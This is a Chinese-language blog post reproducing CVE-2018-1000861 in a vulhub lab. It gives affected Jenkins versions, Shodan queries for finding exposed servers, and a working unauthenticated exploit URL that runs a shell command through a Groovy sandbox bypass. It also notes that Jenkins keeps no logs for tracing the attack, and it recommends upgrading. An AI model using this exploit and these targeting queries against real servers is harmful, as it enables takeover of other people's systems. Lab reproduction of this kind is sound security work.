CVE-2018-1000861 Jenkins远程命令执行漏洞复现
漏洞简述
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。
漏洞影响版本
- Jenkins <= 2.153
- Jenkins LTS <= 2.138.3
Shodan 搜索语法
http.favicon.hash:81586312

由于shodan不支持通配符,所以具体的版本号可以使用关键字 X-Jenkins:
单独过滤。
http.favicon.hash:81586312 "X-Jenkins: 2.13"

漏洞exp
https://github.com/orangetw/awesome-jenkins-rce-2019
漏洞环境搭建
使用vulhub进行复现。启动一个Jenkins 2.138,包含漏洞的插件也已经安装。

漏洞复现
http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript ?sandbox=true &value=public class x { public x(){ "touch /tmp/success".execute() } }


命令执行成功。
溯源排查
Jenkins没有web请求日志,无法排查。
修复方式
升级至最新版本。
赞赏微信赞赏
支付宝赞赏
目前为止有一条评论